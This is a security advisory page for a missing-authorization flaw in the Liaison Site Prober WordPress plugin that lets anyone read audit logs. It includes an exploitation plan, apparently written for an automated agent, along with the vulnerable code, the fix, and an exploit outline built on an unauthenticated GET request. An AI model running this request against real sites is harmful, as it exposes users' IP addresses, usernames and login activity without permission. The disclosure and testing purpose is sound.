Liaison Site Prober <= 1.2.1 - Missing Authorization to Unauthenticated Information Exposure in '/logs' REST API Endpoint
Description
The Liaison Site Prober plugin for WordPress is vulnerable to Information Exposure in all versions up to and including 1.2.1 via the /wp-json/site-prober/v1/logs REST API endpoint. The permissions_read() permission callback unconditionally returns true (via __return_true()) instead of checking for appropriate capabilities. This makes it possible for unauthenticated attackers to retrieve sensitive audit log data including IP addresses, user IDs, usernames, login/logout events, failed login attempts, and detailed activity descriptions.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.2.1What Changed in the Fix
Changes introduced in v1.2.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3569 (Liaison Site Prober) ## 1. Vulnerability Summary The **Liaison Site Prober** plugin for WordPress (versions <= 1.2.1) contains a missing authorization vulnerability within its REST API implementation. The endpoint `/wp-json/site-prober/v1/logs` is intend…
Show full research plan
Exploitation Research Plan: CVE-2026-3569 (Liaison Site Prober)
1. Vulnerability Summary
The Liaison Site Prober plugin for WordPress (versions <= 1.2.1) contains a missing authorization vulnerability within its REST API implementation. The endpoint /wp-json/site-prober/v1/logs is intended to provide audit logs to administrative users. However, the permissions_read() method in LIAISIPR_REST_Controller explicitly returns true via the WordPress core function __return_true(), bypassing any capability or authentication checks. This allows unauthenticated attackers to view sensitive site activity logs, including user IDs, IP addresses, and detailed action descriptions.
2. Attack Vector Analysis
- Endpoint:
/wp-json/site-prober/v1/logs - Method:
GET(as defined byWP_REST_Server::READABLE) - Authentication: None required (Unauthenticated).
- Parameters:
plugin(string, optional): Defined in routes but ignored by the currentget_logsimplementation.limit(integer, optional): Defined in routes but ignored by the currentget_logsimplementation.
- Preconditions: The plugin must be active. Logs must exist in the custom database table (usually populated automatically upon plugin activation and standard site usage).
3. Code Flow
- Route Registration: In
includes/class-liaison-rest-controller.php, theregister_routes()method defines the/logsroute under thesite-prober/v1namespace. - Permission Callback: The route is configured with
'permission_callback' => [ $this, 'permissions_read' ]. - The Vulnerable Sink: The
permissions_read()method is implemented as follows:public function permissions_read() { return __return_true(); // This allows anyone to access the callback //return current_user_can( 'read' ); } - Data Retrieval: Upon a successful permission check (which is always true), the
get_logs()method is called:- It accesses the global
$wpdband the custom table$wpdb->wpsp_activity. - It executes a
SELECTquery forid, created_at, user_id, ip, action, object_type, description. - It returns the results as a JSON response.
- It accesses the global
4. Nonce Acquisition Strategy
This vulnerability does not require a WordPress nonce.
- WordPress REST API
GETrequests generally do not require a_wpnonceheader if thepermission_callbackdoes not check for user capabilities or thewp_restnonce specifically. - Since
permissions_readreturnstrueunconditionally, the request will be processed regardless of the presence or validity of a nonce.
5. Exploitation Strategy
The goal is to retrieve the activity logs without any credentials.
Step 1: Discover the REST API Prefix
Determine the REST API base URL (usually /wp-json/).
Step 2: Execute the Exploit Request
Use the http_request tool to send a GET request to the vulnerable endpoint.
- Request URL:
http://<target-ip>:<port>/wp-json/site-prober/v1/logs - Method:
GET - Headers:
Accept: application/json
Step 3: Analyze Response
The expected response is a JSON object containing a logs array.
6. Test Data Setup
To ensure the exploit returns meaningful data, the target environment should have recorded some activity:
- Install and Activate Plugin: Use
wp-clito install version 1.2.1. - Generate Logs:
- Log in and out of the WordPress admin.
- Create a dummy post:
wp post create --post_title="Audit Target" --post_status=publish. - Update a post:
wp post update 1 --post_content="Modified content". - These actions populate the
wpsp_activitytable.
- Verify Table Content (Internal):
wp db query "SELECT * FROM wp_wpsp_activity"(to confirm logs exist before testing external exposure).
7. Expected Results
A successful exploit will return a 200 OK response with a body similar to:
{
"count": 3,
"logs": [
{
"id": "3",
"created_at": "2023-10-27 10:00:00",
"user_id": "1",
"ip": "192.168.1.100",
"action": "updated",
"object_type": "post",
"description": "Post updated: Audit Target"
},
{
"id": "2",
"created_at": "2023-10-27 09:55:00",
"user_id": "1",
"ip": "192.168.1.100",
"action": "login",
"object_type": "user",
"description": "User logged in: admin"
}
]
}
8. Verification Steps
- Compare JSON Output with Database: Use
wp-clito check the content of thewpsp_activitytable and verify it matches the JSON returned by the REST API.wp db query "SELECT * FROM wp_wpsp_activity" --list - Confirm Unauthenticated Access: Verify the
http_requestwas made without anyCookieorAuthorizationheaders.
9. Alternative Approaches
If the standard /wp-json/ prefix is changed by a security plugin, attempt to find the REST API endpoint using the Link header from the homepage:
GET /- Look for
Link: <http://target/wp-json/>; rel="https://api.w.org/".
If the endpoint returns an empty list, ensure the wpsp_activity table is correctly defined. The table name is stored in $wpdb->wpsp_activity. Check its name using:
wp eval "global \$wpdb; echo \$wpdb->wpsp_activity;"
If the table is empty, trigger more actions (e.g., failed login attempts) to populate it.
Summary
The Liaison Site Prober plugin for WordPress is vulnerable to unauthenticated information exposure via its REST API. The `/wp-json/site-prober/v1/logs` endpoint lacks proper authorization because its permission callback is set to unconditionally return true, allowing anyone to view sensitive audit logs including user IDs, IP addresses, and site activity details.
Vulnerable Code
// includes/class-liaison-rest-controller.php line 49 public function permissions_read() { return __return_true(); //return current_user_can( 'read' ); } --- // includes/class-liaison-rest-controller.php line 11 public function register_routes() { register_rest_route( self::NAMESPACE, '/logs', [ [ 'methods' => WP_REST_Server::READABLE, 'callback' => [ $this, 'get_logs' ], 'permission_callback' => [ $this, 'permissions_read' ], // ...
Security Fix
@@ -47,8 +47,7 @@ * ----------------------------------------------------------------- */ public function permissions_read() { - return __return_true(); - //return current_user_can( 'read' ); + return current_user_can( 'manage_options' ); } public function permissions_write() {
Exploit Outline
The exploit is a simple unauthenticated GET request to the plugin's REST API endpoint. 1. Target Endpoint: /wp-json/site-prober/v1/logs 2. Method: GET 3. Authentication: None required. The plugin's permissions_read() function returns __return_true(), which bypasses WordPress's standard REST API capability checks. 4. Payload: No specific payload or nonce is required. A standard HTTP GET request to the endpoint will return a JSON object containing the 'logs' array from the custom `wpsp_activity` database table, exposing IP addresses, user IDs, and activity descriptions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.